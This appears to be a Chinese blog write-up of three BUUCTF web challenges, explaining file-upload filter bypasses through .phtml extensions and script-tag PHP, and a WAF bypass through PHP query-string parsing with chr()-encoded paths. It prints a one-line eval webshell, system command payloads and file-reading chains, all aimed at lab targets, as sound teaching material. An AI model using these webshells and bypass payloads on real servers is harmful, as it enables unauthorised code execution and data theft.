发现文件上传成功。可以说明后端除了对后缀检查是否为php以外。并没有对其他文件的后缀进行检查。

于是我们想了一下:

除了.php结尾以外,Apache服务器还会将php,php3,php4,php5,phtml结尾的文件当做php文件执行。

但是php.ini配置文件中,需要有以下配置:

AddType Application/x-httpd-php .php php3 .php4 .php5 .phtml

将文件名修改为123.phtml进行上传

BUUCTF (WEB)篇

发现页面提示我们文件内容包含<?,因此上传没有成功。

这里介绍一下<script></script>标签中的language属性,它定义了我们使用<script></script>标签包裹包裹起来的代码的语言。默认为Javascript

BUUCTF (WEB)篇

而我们将其修改为php会怎么样?这里编辑123.php文件。文件内容为如下:

BUUCTF (WEB)篇

尝试访问,发现被script标签包裹起来的代码。被当做了PHP代码执行。

注意:这一特性在PHP7.0之后。就不能使用了。

BUUCTF (WEB)篇

而我们在php文件中直接写php代码。是不能直接当做PHP程序执行的。

BUUCTF (WEB)篇
BUUCTF (WEB)篇

尝试构造Payload:

GIF8
<script language="php"> @eval($_POST[cmd]);</script>
BUUCTF (WEB)篇

发现上传成功,我们这里尝试访问。

但是这里没有给出上传路径,我们盲猜是upload

发现真的哈哈哈哈哈哈,而且还有目录浏览。

BUUCTF (WEB)篇

我们直接访问123.phtml文件

BUUCTF (WEB)篇

这里直接使用中国蚁剑进行连接,但是我这里没有连接成功。提示连接超时,可能是BUU服务器那边做的安全限制吧。

于是我就手动传参:

cmd=system('ls /')
BUUCTF (WEB)篇

在系统根目录发现了flag文件。尝试查看该文件

cmd=system('cat /flag');
BUUCTF (WEB)篇
flag{51129fd1-ecd3-4405-9133-70def0d2e5a9}

[RoarCTF 2019]Easy Calc

进入页面后,发现是一个input。尝试输入数字都是可以输出的。

但是这里尝试输入字母发现页面提示:这啥?算不来

BUUCTF (WEB)篇

由于这个弹窗是JavaScriptalert(),因此右键查看源代码

在源代码中发现提示:说已经建立了WAF

接着在源代码中发现了calc.php文件。

BUUCTF (WEB)篇

访问calc.php得到以下源码页面。

BUUCTF (WEB)篇

这里先分析一下那个JavaScript代码,以便于增强自己对JS的认识。当然也可以跳过下方解析。

JavaScript代码审计

<script>
    // 当我们点击计算的时候执行以下函数内容
    $('#calc').submit(function(){
        $.ajax({
            // 对用户输入的字符串进行url编码后交给calc.php页面中的num参数处理
            url:"calc.php?num="+encodeURIComponent($("#content").val()),  
            type:'GET',  // 定义了ajax方法的请求方法。
            // 请求成功之后执行我们下面的函数
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            // 请求失败执行的函数
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;  // 函数返回值为false
    })
</script>

$('#calc')JQuery中的语法。它与JS中的document.getElementById()功能一致。都是选中ID为calc的HTML元素。也就是我们的from标签。

submit()方法,则是当提交表单时执行的方法(做的事)。

当我们点击计算的时候会执行submit方法绑定的事件函数。也就是function{}中的部分。

在函数中又引用了ajax() 方法通过 HTTP 请求加载远程数据。而其中的url参数表示请求的地址。即calc.php?num=经过encodeURIComponent() 函数把字符串作为 URI 组件进行编码。而val()用来返回表单中键入的值其余JS中的value()方法一致。都是用来获取表单中的值

而参数type定义了ajax()发送请求的方法。常见的有GETPOST

success参数则定义请求成功执行的函数。可以看到请求成功之后,找到id为result的元素。在其后面加我们的HTML标签。而计算的结果则使用strong标签包裹。总的来说就是将结果输出到页面

error参数则定义请求失败时执行的函数。其内容则是一个alert()弹窗。因此我们传入a的时候。出现了弹窗,则是执行了该方法。

通过审计JS代码,发现将我们在input中输入的值,交给了calc.php文件中的num参数处理。

php代码审计

我们这里看下calc.php文件中的源码。

<?php
error_reporting(0);   // 关闭所有错误回显
if(!isset($_GET['num'])){ // 如果num参数为空则在页面显示当前页面的源码。
    show_source(__FILE__);  // 显示当前文件地源码
}else{
   // 如果num参数不为空则执行下面代码
        $str = $_GET['num'];  // 将参数num的只赋值给变量$str
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; // 定义黑名单
        foreach ($blacklist as $blackitem) { // 遍历这个黑名单列表  用意逐个取出列表中的值
                if (preg_match('/' . $blackitem . '/m', $str)) { // 使用正则表达式逐个与用户传入的参数进行匹配
                        die("what are you want to do?"); // 匹配成功则在页面打印 并退出代码的执行
                }
        }
     
        eval('echo '.$str.';'); // 如果传入的值不存在黑名单中 则可以成功过执行任意函数和命令。
}
?>

通过代码得知,发现我们可以传入参数num 。但是传入的值不能包含黑名单中定义的值。否则会打印what are you want to do,并且退出代码的执行。从而代码不会走到eval()哪一步。致使不能达到任意函数和命令执行。

尝试构造payload:

/calc.php?num=phpinfo();
BUUCTF (WEB)篇

发现页面返回Forbidden。猜测可能是由于WAF的缘故。如果触发calc.php文件定义的黑名单,则页面会输出 what are you want to do?并且退出代码的执行。很明显我们的值是没有包含calc.php中定义的黑名单。综合前面注释所得知,页面存在WAF

而WAF之所以能检查到我们传入的num参数不是数字。可能是因为它对num参数传入的值进行了检查。而并没有检查其他参数的值。

PHP字符串解析特性绕WAF

这里就需要介绍PHP对字符串的解析特性了。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

正因为PHP会将所有的参数中的空白字符串删除。于是乎我们就可以绕过这个WAF。

众所周知,WAF会检查num参数传入的值,但是它仅仅会检查num参数的值。并不会检查 num的值(注意num前面有个空格)。 numnum是两个不同的参数。因此可以绕过WAF的检查。

而php在解析的时候,会自动删去空白字符,即空格。最终变成num=phpinfo();

尝试构造payload:

/calc.php? num=phpinfo();
BUUCTF (WEB)篇

即可成功绕过WAF的检查。

分析PHP的phpinfo页面。发现PHP将system()exec()以及shell_exec()passthru()等命令执行的函数禁用。

BUUCTF (WEB)篇

于是我们需要换一种思路去获取系统的目录文件。

经过百度搜索之后,发现scandir()函数可以列数指定目录的文件夹和文件,并且php配置并没有禁用这个函数。

BUUCTF (WEB)篇

尝试构造payload:

/calc.php? num=scandir('/');
BUUCTF (WEB)篇

发现触发了黑名单,于是乎去源码看了下,发现/\以及单引号都在黑名单中。因此我们使用chr()函数对ASCII进行转字符串操作。其参数为ASCII码。

十进制的47对应字符 \

因此构造payload:

/calc.php? num=scandir(chr(47));
BUUCTF (WEB)篇

发现页面返回Arrayscandir()的返回值是一个数组。而num参数的值是使用echo打出来的。echo是不能输出数组的。因此我们需要在scandir()前面加上print_r()

print_r()函数是专门用来输出数组的。

/calc.php? num=print_r(scandir(chr(47)));
BUUCTF (WEB)篇

根据结果发现,系统根目录存在f1agg文件或目录。这里尝试使用readfile()去读取文件的内容。

/calc.php? num=print_r(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));


/* 
其中的十进制47转为字符为/
其中的十进制102转为字符为f
其中的十进制49表示字符为1 
其中的十进制97表示字符为a
其中的十进制103表示字符为g
*/
BUUCTF (WEB)篇

即可拿到flag

类似readfile()函数的还有file_get_contents()

这里扩展一下,我们在Linux系统的Terminal中键入 man ascii 即可查看ASCII对照表。当然也可以百度。

BUUCTF (WEB)篇

[ACTF2020 新生赛]Upload

进入到页面之后是个💡

鼠标移动上面,发现文件上传提交框。

BUUCTF (WEB)篇

尝试上传123.php文件。发现页面提示只允许上传jpg、png、gif结尾的文件后缀。

BUUCTF (WEB)篇

之后我们右键查看源代码。发现引入了一个js文件。以下为js文件内容:

BUUCTF (WEB)篇

虽然中文是乱码的。但是我们看代码的结构可以得知,上传的时候对文件后缀名校验是通过JavaScript实现的。

而当我们点击提交的时候。则触发了checkFile()函数。也就是上图中的代码。

BUUCTF (WEB)篇

由于JavaScript代码是由浏览器执行的。因此我们在浏览器中禁用JavaScript代码之后上传即可。也可以先上传一个.jpg结尾的文件。之后使用Burpsuite进行后缀名的修改。我这里利用后者。

由于后缀名是JavaScript是由浏览器校验的。我们在抓取数据包的时候,已经经过了浏览器。因此我们直接上传txt结尾的文件,发现是可以上传成功的。

BUUCTF (WEB)篇

这里尝试上传.php结尾的文件,将其Content-type修改为image/jpeg

BUUCTF (WEB)篇

发现提示Bad file 考虑可能是php后缀的问题。我们将其修改为.phtml

BUUCTF (WEB)篇

发现上传成功。.phtmlphp文件的别名。部分服务器配置认识这个文件。遇到这个后缀名则将其交给PHP程序处理。

BUUCTF (WEB)篇

尝试访问,发现访问成功。因为页面只写了一句话木马,所以页面没有任何内容。

打开中国菜刀或者蚁剑进行连接。在系统根目录发现了flag文件。

BUUCTF (WEB)篇
flag{e8d89e56-fc33-46cf-b588-659b785eba20}

写在最后

由于本文章字数已较多,导致文章在编辑的时候,会偶尔出错。故将在下一篇文章中继续写BUUCTF的web模块中的writeup。

下一篇文章传送:BUUCTF (WEB)二篇

分享